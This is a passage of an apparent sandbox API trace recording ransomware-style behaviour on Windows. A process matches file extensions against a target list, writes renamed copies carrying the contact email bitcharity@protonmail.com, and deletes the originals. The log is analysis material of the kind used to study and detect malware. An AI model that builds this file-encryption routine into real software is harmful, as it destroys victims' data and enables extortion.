(lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0136.565] lstrlenW (lpString=".zip") returned 4 [0136.565] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.565] lstrlenW (lpString=".rar") returned 4 [0136.565] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.565] lstrlenW (lpString=".bz2") returned 4 [0136.566] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.566] lstrlenW (lpString=".7z") returned 3 [0136.566] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.566] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0136.566] lstrlenW (lpString=".dbf") returned 4 [0136.566] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.566] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0136.566] lstrlenW (lpString=".1cd") returned 4 [0136.566] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.566] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0136.566] lstrlenW (lpString=".jpg") returned 4 [0136.566] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.566] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0136.566] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0136.566] lstrlenW (lpString=".doc") returned 4 [0136.566] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.566] lstrlenW (lpString=".docx") returned 5 [0136.566] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.566] lstrlenW (lpString=".pdf") returned 4 [0136.566] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.566] lstrlenW (lpString=".xls") returned 4 [0136.567] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.567] lstrlenW (lpString=".xlsx") returned 5 [0136.567] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.567] lstrlenW (lpString=".ppt") returned 4 [0136.567] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.567] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0136.567] lstrlenW (lpString=".zip") returned 4 [0136.567] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.567] lstrlenW (lpString=".rar") returned 4 [0136.567] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.567] lstrlenW (lpString=".bz2") returned 4 [0136.567] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.567] lstrlenW (lpString=".7z") returned 3 [0136.567] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.567] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0136.567] lstrlenW (lpString=".dbf") returned 4 [0136.567] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.567] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0136.567] lstrlenW (lpString=".1cd") returned 4 [0136.567] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.567] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0136.567] lstrlenW (lpString=".jpg") returned 4 [0136.567] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.567] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0136.567] lstrlenW (lpString="eula.rtf") returned 8 [0136.568] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0136.568] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=3683) returned 1 [0136.568] CloseHandle (hObject=0x108c) returned 1 [0136.568] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0136.568] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.568] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0136.568] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.568] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.568] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1014 [0136.569] GetLastError () returned 0x0 [0136.569] ReadFile (in: hFile=0x108c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xe63, lpOverlapped=0x0) returned 1 [0136.852] WriteFile (in: hFile=0x1014, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xe70, lpOverlapped=0x0) returned 1 [0136.853] ReadFile (in: hFile=0x108c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.853] WriteFile (in: hFile=0x1014, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xe4, lpOverlapped=0x0) returned 1 [0136.853] SetEndOfFile (hFile=0x1014) returned 1 [0136.853] CloseHandle (hObject=0x1014) returned 1 [0136.858] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.858] SetEndOfFile (hFile=0x108c) returned 1 [0136.859] CloseHandle (hObject=0x108c) returned 1 [0136.859] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.860] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0136.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0136.860] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0136.860] lstrlenW (lpString=".doc") returned 4 [0136.860] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.860] lstrlenW (lpString=".docx") returned 5 [0136.860] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.860] lstrlenW (lpString=".pdf") returned 4 [0136.860] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.860] lstrlenW (lpString=".xls") returned 4 [0136.860] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.860] lstrlenW (lpString=".xlsx") returned 5 [0136.861] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.861] lstrlenW (lpString=".ppt") returned 4 [0136.861] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0136.861] lstrlenW (lpString=".zip") returned 4 [0136.861] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.861] lstrlenW (lpString=".rar") returned 4 [0136.861] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.861] lstrlenW (lpString=".bz2") returned 4 [0136.861] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.861] lstrlenW (lpString=".7z") returned 3 [0136.861] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0136.861] lstrlenW (lpString=".dbf") returned 4 [0136.861] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0136.861] lstrlenW (lpString=".1cd") returned 4 [0136.861] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0136.861] lstrlenW (lpString=".jpg") returned 4 [0136.861] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0136.861] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0136.861] lstrlenW (lpString=".doc") returned 4 [0136.862] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0136.862] lstrlenW (lpString=".docx") returned 5 [0136.862] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0136.862] lstrlenW (lpString=".pdf") returned 4 [0136.862] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0136.862] lstrlenW (lpString=".xls") returned 4 [0136.862] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0136.862] lstrlenW (lpString=".xlsx") returned 5 [0136.862] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0136.862] lstrlenW (lpString=".ppt") returned 4 [0136.862] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0136.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0136.862] lstrlenW (lpString=".zip") returned 4 [0136.862] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0136.862] lstrlenW (lpString=".rar") returned 4 [0136.862] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0136.862] lstrlenW (lpString=".bz2") returned 4 [0136.862] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0136.862] lstrlenW (lpString=".7z") returned 3 [0136.862] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0136.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0136.862] lstrlenW (lpString=".dbf") returned 4 [0136.862] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0136.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0136.862] lstrlenW (lpString=".1cd") returned 4 [0136.862] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0136.862] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0136.862] lstrlenW (lpString=".jpg") returned 4 [0136.863] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0136.863] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0136.863] lstrlenW (lpString="LocalizedData.xml") returned 17 [0136.863] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0136.863] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=76818) returned 1 [0136.863] CloseHandle (hObject=0x108c) returned 1 [0136.863] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0136.863] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.863] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0136.864] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.864] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.864] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1014 [0136.864] GetLastError () returned 0x0 [0136.864] ReadFile (in: hFile=0x108c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x12c12, lpOverlapped=0x0) returned 1 [0136.888] WriteFile (in: hFile=0x1014, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x12c20, lpOverlapped=0x0) returned 1 [0136.891] ReadFile (in: hFile=0x108c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.891] WriteFile (in: hFile=0x1014, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xf6, lpOverlapped=0x0) returned 1 [0136.892] SetEndOfFile (hFile=0x1014) returned 1 [0136.892] CloseHandle (hObject=0x1014) returned 1 [0136.897] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.897] SetEndOfFile (hFile=0x108c) returned 1 [0136.899] CloseHandle (hObject=0x108c) returned 1 [0136.899] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0136.899] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0136.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0136.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0136.900] lstrlenW (lpString=".doc") returned 4 [0136.900] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.900] lstrlenW (lpString=".docx") returned 5 [0136.900] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.900] lstrlenW (lpString=".pdf") returned 4 [0136.900] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.900] lstrlenW (lpString=".xls") returned 4 [0136.900] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.900] lstrlenW (lpString=".xlsx") returned 5 [0136.900] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.900] lstrlenW (lpString=".ppt") returned 4 [0136.900] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0136.900] lstrlenW (lpString=".zip") returned 4 [0136.900] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.900] lstrlenW (lpString=".rar") returned 4 [0136.900] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.900] lstrlenW (lpString=".bz2") returned 4 [0136.900] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.900] lstrlenW (lpString=".7z") returned 3 [0136.900] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.900] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0136.900] lstrlenW (lpString=".dbf") returned 4 [0136.900] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0136.901] lstrlenW (lpString=".1cd") returned 4 [0136.901] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0136.901] lstrlenW (lpString=".jpg") returned 4 [0136.901] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0136.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0136.901] lstrlenW (lpString=".doc") returned 4 [0136.901] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0136.901] lstrlenW (lpString=".docx") returned 5 [0136.901] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0136.901] lstrlenW (lpString=".pdf") returned 4 [0136.901] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0136.901] lstrlenW (lpString=".xls") returned 4 [0136.901] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0136.901] lstrlenW (lpString=".xlsx") returned 5 [0136.901] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0136.901] lstrlenW (lpString=".ppt") returned 4 [0136.901] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0136.901] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0136.901] lstrlenW (lpString=".zip") returned 4 [0136.901] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0136.901] lstrlenW (lpString=".rar") returned 4 [0136.901] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0136.901] lstrlenW (lpString=".bz2") returned 4 [0136.901] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0136.902] lstrlenW (lpString=".7z") returned 3 [0136.902] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0136.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0136.902] lstrlenW (lpString=".dbf") returned 4 [0136.902] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0136.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0136.902] lstrlenW (lpString=".1cd") returned 4 [0136.902] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0136.902] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned 44 [0136.902] lstrlenW (lpString=".jpg") returned 4 [0136.902] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0136.902] lstrcmpiW (lpString1=".rtf", lpString2=".com") returned 1 [0136.902] lstrlenW (lpString="eula.rtf") returned 8 [0136.902] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0136.903] GetFileSizeEx (in: hFile=0x108c, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=5827) returned 1 [0136.903] CloseHandle (hObject=0x108c) returned 1 [0136.903] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0136.903] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0136.903] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0136.903] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.903] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.904] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1014 [0136.904] GetLastError () returned 0x0 [0136.904] ReadFile (in: hFile=0x108c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x16c3, lpOverlapped=0x0) returned 1 [0137.030] WriteFile (in: hFile=0x1014, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0137.031] ReadFile (in: hFile=0x108c, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0137.031] WriteFile (in: hFile=0x1014, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xe4, lpOverlapped=0x0) returned 1 [0137.031] SetEndOfFile (hFile=0x1014) returned 1 [0137.031] CloseHandle (hObject=0x1014) returned 1 [0137.033] SetFilePointerEx (in: hFile=0x108c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0137.033] SetEndOfFile (hFile=0x108c) returned 1 [0137.034] CloseHandle (hObject=0x108c) returned 1 [0137.034] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0137.035] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0137.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0137.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0137.035] lstrlenW (lpString=".doc") returned 4 [0137.035] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0137.035] lstrlenW (lpString=".docx") returned 5 [0137.035] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0137.035] lstrlenW (lpString=".pdf") returned 4 [0137.035] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0137.036] lstrlenW (lpString=".xls") returned 4 [0137.036] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0137.036] lstrlenW (lpString=".xlsx") returned 5 [0137.036] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0137.036] lstrlenW (lpString=".ppt") returned 4 [0137.036] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0137.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0137.036] lstrlenW (lpString=".zip") returned 4 [0137.036] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0137.036] lstrlenW (lpString=".rar") returned 4 [0137.036] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0137.036] lstrlenW (lpString=".bz2") returned 4 [0137.036] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0137.036] lstrlenW (lpString=".7z") returned 3 [0137.036] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0137.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0137.036] lstrlenW (lpString=".dbf") returned 4 [0137.036] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0137.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0137.036] lstrlenW (lpString=".1cd") returned 4 [0137.036] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0137.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0137.036] lstrlenW (lpString=".jpg") returned 4 [0137.036] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0137.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0137.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0137.037] lstrlenW (lpString=".doc") returned 4 [0137.037] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0137.037] lstrlenW (lpString=".docx") returned 5 [0137.037] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0137.037] lstrlenW (lpString=".pdf") returned 4 [0137.037] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0137.037] lstrlenW (lpString=".xls") returned 4 [0137.037] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0137.037] lstrlenW (lpString=".xlsx") returned 5 [0137.037] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0137.037] lstrlenW (lpString=".ppt") returned 4 [0137.037] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0137.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0137.037] lstrlenW (lpString=".zip") returned 4 [0137.037] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0137.037] lstrlenW (lpString=".rar") returned 4 [0137.037] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0137.037] lstrlenW (lpString=".bz2") returned 4 [0137.037] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0137.037] lstrlenW (lpString=".7z") returned 3 [0137.037] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0137.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0137.037] 